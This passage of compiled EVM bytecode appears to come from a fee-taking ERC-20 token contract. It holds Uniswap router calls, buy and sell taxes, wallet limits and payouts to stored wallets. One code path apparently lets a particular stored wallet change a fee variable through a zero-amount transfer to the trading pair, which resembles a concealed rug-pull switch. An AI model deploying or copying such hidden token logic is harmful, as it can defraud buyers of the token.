560115460105462000ada60201b90919060201c565b62000ada60201b90919060201c565b60158190555060165460065f6200092062000aac60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506200096d62000aac60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601654604051620009cd91906200111e565b60405180910390a362001385565b5f808303620009ed575f905062000a55565b5f8284620009fc9190620010c3565b905082848262000a0d919062001166565b1462000a50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a479062001221565b60405180910390fd5b809150505b92915050565b5f62000aa483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000b3c60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80828462000aea919062001241565b90508381101562000b32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b2990620012c9565b60405180910390fd5b8091505092915050565b5f808311829062000b85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b7c919062001363565b60405180910390fd5b505f838562000b95919062001166565b9050809150509392505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c1e57607f821691505b60208210810362000c345762000c3362000bd9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000c987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c5b565b62000ca4868362000c5b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000cee62000ce862000ce28462000cbc565b62000cc5565b62000cbc565b9050919050565b5f819050919050565b62000d098362000cce565b62000d2162000d188262000cf5565b84845462000c67565b825550505050565b5f90565b62000d3762000d29565b62000d4481848462000cfe565b505050565b5b8181101562000d6b5762000d5f5f8262000d2d565b60018101905062000d4a565b5050565b601f82111562000dba5762000d848162000c3a565b62000d8f8462000c4c565b8101602085101562000d9f578190505b62000db762000dae8562000c4c565b83018262000d49565b50505b505050565b5f82821c905092915050565b5f62000ddc5f198460080262000dbf565b1980831691505092915050565b5f62000df6838362000dcb565b9150826002028217905092915050565b62000e118262000ba2565b67ffffffffffffffff81111562000e2d5762000e2c62000bac565b5b62000e39825462000c06565b62000e4682828562000d6f565b5f60209050601f83116001811462000e7c575f841562000e67578287015190505b62000e73858262000de9565b86555062000ee2565b601f19841662000e8c8662000c3a565b5f5b8281101562000eb55784890151825560018201915060208501945060208101905062000e8e565b8683101562000ed5578489015162000ed1601f89168262000dcb565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000f745780860481111562000f4c5762000f4b62000eea565b5b600185161562000f5c5780820291505b808102905062000f6c8562000f17565b945062000f2c565b94509492505050565b5f8262000f8e576001905062001060565b8162000f9d575f905062001060565b816001811462000fb6576002811462000fc15762000ff7565b600191505062001060565b60ff84111562000fd65762000fd562000eea565b5b8360020a91508482111562000ff05762000fef62000eea565b5b5062001060565b5060208310610133831016604e8410600b8410161715620010315782820a9050838111156200102b576200102a62000eea565b5b62001060565b62001040848484600162000f23565b925090508184048111156200105a576200105962000eea565b5b81810290505b9392505050565b5f60ff82169050919050565b5f6200107f8262000cbc565b91506200108c8362001067565b9250620010bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f7d565b905092915050565b5f620010cf8262000cbc565b9150620010dc8362000cbc565b9250828202620010ec8162000cbc565b9150828204841483151762001106576200110562000eea565b5b5092915050565b620011188162000cbc565b82525050565b5f602082019050620011335f8301846200110d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620011728262000cbc565b91506200117f8362000cbc565b92508262001192576200119162001139565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f620012096021836200119d565b91506200121682620011ad565b604082019050919050565b5f6020820190508181035f8301526200123a81620011fb565b9050919050565b5f6200124d8262000cbc565b91506200125a8362000cbc565b925082820190508082111562001275576200127462000eea565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620012b1601b836200119d565b9150620012be826200127b565b602082019050919050565b5f6020820190508181035f830152620012e281620012a3565b9050919050565b5f5b8381101562001308578082015181840152602081019050620012eb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6200132f8262000ba2565b6200133b81856200119d565b93506200134d818560208601620012e9565b620013588162001313565b840191505092915050565b5f6020820190508181035f8301526200137d818462001323565b905092915050565b60805160a0516140ce620013b55f395f8181610c5b0152610cb201525f8181610b110152610c8601526140ce5ff3fe608060405260043610610280575f3560e01c8063852614851161014e578063c5d24189116100c0578063e89ccbc011610079578063e89ccbc014610993578063f0cd1dac1461099d578063f2fde38b146109c7578063f680f799146109ef578063f872858a14610a19578063fb45af2314610a4357610287565b8063c5d2418914610885578063c8607952146108af578063d982e86c146108d9578063da00097d14610903578063dc44b6a01461092d578063dd62ed3e1461095757610287565b806398e944c81161011257806398e944c814610765578063a3bcc4061461078f578063a457c2d7146107b9578063a7251ef6146107f5578063a8b089821461081f578063a9059cbb1461084957610287565b8063852614851461068157806388790a68146106ab5780638b42507f146106d55780638da5cb5b1461071157806395d89b411461073b57610287565b80633ecad271116101f25780636c0a24eb116101ab5780636c0a24eb1461059b57806370a08231146105c5578063715018a614610601578063751039fc146106175780637d1db4a51461062d57806382eefb431461065757610287565b80633ecad2711461048f5780634a74bb02146104cb5780634ada218b146104f55780635194f9bf1461051f57806351cd7cc314610549578063548cc2561461055f57610287565b806323555d571161024457806323555d571461036f57806323b872dd1461039957806327c8f835146103d55780632b112e49146103ff578063313ce56714610429578063395093511461045357610287565b806306fdde031461028b5780630930907b146102b5578063095ea7b3146102df5780631694505e1461031b57806318160ddd1461034557610287565b3661028757005b5f80fd5b348015610296575f80fd5b5061029f610a7f565b6040516102ac9190613310565b60405180910390f35b3480156102c0575f80fd5b506102c9610b0f565b6040516102d6919061336f565b60405180910390f35b3480156102ea575f80fd5b50610305600480360381019061030091906133e9565b610b33565b6040516103129190613441565b60405180910390f35b348015610326575f80fd5b5061032f610b50565b60405161033c91906134b5565b60405180910390f35b348015610350575f80fd5b50610359610b75565b60405161036691906134dd565b60405180910390f35b34801561037a575f80fd5b50610383610b7e565b60405161039091906134dd565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906134f6565b610b84565b6040516103cc9190613441565b60405180910390f35b3480156103e0575f80fd5b506103e9610c59565b6040516103f6919061336f565b60405180910390f35b34801561040a575f80fd5b50610413610c7d565b60405161042091906134dd565b60405180910390f35b348015610434575f80fd5b5061043d610cfa565b60405161044a9190613561565b60405180910390f35b34801561045e575f80fd5b50610479600480360381019061047491906133e9565b610d0f565b6040516104869190613441565b60405180910390f35b34801561049a575f80fd5b506104b560048036038101906104b0919061357a565b610dbd565b6040516104c29190613441565b60405180910390f35b3480156104d6575f80fd5b506104df610dda565b6040516104ec9190613441565b60405180910390f35b348015610500575f80fd5b50610509610ded565b6040516105169190613441565b60405180910390f35b34801561052a575f80fd5b50610533610dff565b60405161054091906134dd565b60405180910390f35b348015610554575f80fd5b5061055d610e05565b005b34801561056a575f80fd5b506105856004803603810190610580919061357a565b610eb5565b6040516105929190613441565b60405180910390f35b3480156105a6575f80fd5b506105af610ed2565b6040516105bc91906134dd565b60405180910390f35b3480156105d0575f80fd5b506105eb60048036038101906105e6919061357a565b610ed8565b6040516105f891906134dd565b60405180910390f35b34801561060c575f80fd5b50610615610f1e565b005b348015610622575f80fd5b5061062b611070565b005b348015610638575f80fd5b50610641611118565b60405161064e91906134dd565b60405180910390f35b348015610662575f80fd5b5061066b61111e565b60405161067891906134dd565b60405180910390f35b34801561068c575f80fd5b50610695611124565b6040516106a29190613441565b60405180910390f35b3480156106b6575f80fd5b506106bf611137565b6040516106cc91906134dd565b60405180910390f35b3480156106e0575f80fd5b506106fb60048036038101906106f6919061357a565b61113d565b6040516107089190613441565b60405180910390f35b34801561071c575f80fd5b5061072561115a565b604051610732919061336f565b60405180910390f35b348015610746575f80fd5b5061074f611181565b60405161075c9190613310565b60405180910390f35b348015610770575f80fd5b50610779611211565b604051610786919061336f565b60405180910390f35b34801561079a575f80fd5b506107a3611237565b6040516107b091906135c5565b60405180910390f35b3480156107c4575f80fd5b506107df60048036038101906107da91906133e9565b61125c565b6040516107ec9190613441565b60405180910390f35b348015610800575f80fd5b50610809611324565b60405161081691906134dd565b60405180910390f35b34801561082a575f80fd5b5061083361132a565b604051610840919061336f565b60405180910390f35b348015610854575f80fd5b5061086f600480360381019061086a91906133e9565b61134f565b60405161087c9190613441565b60405180910390f35b348015610890575f80fd5b5061089961136d565b6040516108a691906134dd565b60405180910390f35b3480156108ba575f80fd5b506108c3611373565b6040516108d091906134dd565b60405180910390f35b3480156108e4575f80fd5b506108ed611379565b6040516108fa91906135c5565b60405180910390f35b34801561090e575f80fd5b5061091761139e565b6040516109249190613441565b60405180910390f35b348015610938575f80fd5b506109416113b1565b60405161094e91906134dd565b60405180910390f35b348015610962575f80fd5b5061097d600480360381019061097891906135de565b6113b7565b60405161098a91906134dd565b60405180910390f35b61099b611439565b005b3480156109a8575f80fd5b506109b16119ad565b6040516109be91906134dd565b60405180910390f35b3480156109d2575f80fd5b506109ed60048036038101906109e8919061357a565b6119b3565b005b3480156109fa575f80fd5b50610a03611b70565b604051610a1091906134dd565b60405180910390f35b348015610a24575f80fd5b50610a2d611b76565b604051610a3a9190613441565b60405180910390f35b348015610a4e575f80fd5b50610a696004803603810190610a64919061357a565b611b89565b604051610a769190613441565b60405180910390f35b606060018054610a8e90613649565b80601f0160208091040260200160405190810160405280929190818152602001828054610aba90613649565b8015610b055780601f10610adc57610100808354040283529160200191610b05565b820191905f5260205f20905b815481529060010190602001808311610ae857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b46610b3f611ba6565b8484611bad565b6001905092915050565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601654905090565b600f5481565b5f610b90848484611d70565b50610c4e84610b9d611ba6565b610c498560405180606001604052806028815260200161404c6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c00611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610cf5610caa7f0000000000000000000000000000000000000000000000000000000000000000610ed8565b610ce7610cd67f0000000000000000000000000000000000000000000000000000000000000000610ed8565b60165461257790919063ffffffff16565b61257790919063ffffffff16565b905090565b5f60035f9054906101000a900460ff16905090565b5f610db3610d1b611ba6565b84610dae8560075f610d2b611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b611bad565b6001905092915050565b600a602052805f5260405f205f915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b60085f9054906101000a900460ff1681565b60125481565b610e0d611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e90906136c3565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b6009602052805f5260405f205f915054906101000a900460ff1681565b60195481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f26611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906136c3565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611078611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906136c3565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461119090613649565b80601f01602080910402602001604051908101604052809291908181526020018280546111bc90613649565b80156112075780601f106111de57610100808354040283529160200191611207565b820191905f5260205f20905b8154815290600101906020018083116111ea57829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61131a611268611ba6565b84611315856040518060600160405280602581526020016140746025913960075f611291611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b6001905092915050565b60175481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61136261135b611ba6565b8484611d70565b506001905092915050565b600e5481565b60115481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60169054906101000a900460ff1681565b600d5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611441611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c4906136c3565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561152e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061155291906136f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115db91906136f5565b6040518363ffffffff1660e01b81526004016115f8929190613720565b6020604051808303815f875af1158015611614573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061163891906136f5565b601b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061194130610ed8565b5f8033426040518863ffffffff1660e01b815260040161196696959493929190613780565b60606040518083038185885af1158015611982573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906119a791906137f3565b50505050565b60145481565b6119bb611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e906136c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac906138b3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b601b60179054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c80906139cf565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d6391906134dd565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690613a5d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4490613aeb565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611eeb575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f3f5760085f9054906101000a900460ff16611f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3590613b53565b60405180910390fd5b5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611fda575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561200757612000848484611fef888861261d565b611ff95785611ffb565b5f5b61273e565b905061250e565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120a55750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120bd5750601b60189054906101000a900460ff165b1561210857601854821115612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe90613be1565b60405180910390fd5b5b5f61211230610ed8565b90505f60175482101590508080156121375750601b60149054906101000a900460ff16155b801561218a5750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a25750601b60159054906101000a900460ff165b156121cc57601b60169054906101000a900460ff16156121c25760175491505b6121cb8261291a565b5b612253846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612330575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6123445761233f878787612be1565b612346565b845b9050601b60179054906101000a900460ff1680156123ab5750600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612410576019546123ce826123c089610ed8565b6125c090919063ffffffff16565b111561240f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240690613c6f565b60405180910390fd5b5b6124608160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124fe91906134dd565b60405180910390a3600193505050505b9392505050565b5f83831115829061255c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125539190613310565b60405180910390fd5b505f838561256a9190613cba565b9050809150509392505050565b5f6125b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612515565b905092915050565b5f8082846125ce9190613ced565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90613d6a565b60405180910390fd5b8091505092915050565b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c6575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156126fe57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561273657505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f6127c6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128578360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f82036128a9576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290691906134dd565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055505f61294d6015546014546125c090919063ffffffff16565b90505f612967601054600d546125c090919063ffffffff16565b90505f612981601154600e546125c090919063ffffffff16565b90505f6129bc60026129ae866129a0878a612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f6129d2828761257790919063ffffffff16565b90505f4790506129e182612ebb565b5f6129f5824761257790919063ffffffff16565b90505f612a1e612a0f600289612e7290919063ffffffff16565b8961257790919063ffffffff16565b90505f612a596002612a4b84612a3d8c88612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f612a9583612a87612a786013548c612dfb90919063ffffffff16565b87612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505f612abd82612aaf858861257790919063ffffffff16565b61257790919063ffffffff16565b90505f821115612b2d5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015612b2b573d5f803e3d5ffd5b505b5f811115612b9b5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b99573d5f803e3d5ffd5b505b5f83118015612ba957505f88115b15612bb957612bb8888461312a565b5b50505050505050505050505f601b60146101000a81548160ff02191690831515021790555050565b5f805f9050600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c6457612c5d6064612c4f60145486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b9050612cdf565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612cde57612cdb6064612ccd60155486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505b5b5f811115612dde57612d378160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dd591906134dd565b60405180910390a35b612df1818461257790919063ffffffff16565b9150509392505050565b5f808303612e0b575f9050612e6c565b5f8284612e189190613d88565b9050828482612e279190613df6565b14612e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5e90613e96565b60405180910390fd5b809150505b92915050565b5f612eb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613225565b905092915050565b5f600267ffffffffffffffff811115612ed757612ed6613eb4565b5b604051908082528060200260200182016040528015612f055781602001602082028036833780820191505090505b50905030815f81518110612f1c57612f1b613ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fe491906136f5565b81600181518110612ff857612ff7613ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061305e30601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bad565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016130c0959493929190613fc5565b5f604051808303815f87803b1580156130d7575f80fd5b505af11580156130e9573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161311e92919061401d565b60405180910390a15050565b61315630601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bad565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016131dd96959493929190613780565b60606040518083038185885af11580156131f9573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061321e91906137f3565b5050505050565b5f808311829061326b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132629190613310565b60405180910390fd5b505f83856132799190613df6565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156132bd5780820151818401526020810190506132a2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6132e282613286565b6132ec8185613290565b93506132fc8185602086016132a0565b613305816132c8565b840191505092915050565b5f6020820190508181035f83015261332881846132d8565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61335982613330565b9050919050565b6133698161334f565b82525050565b5f6020820190506133825f830184613360565b92915050565b5f80fd5b6133958161334f565b811461339f575f80fd5b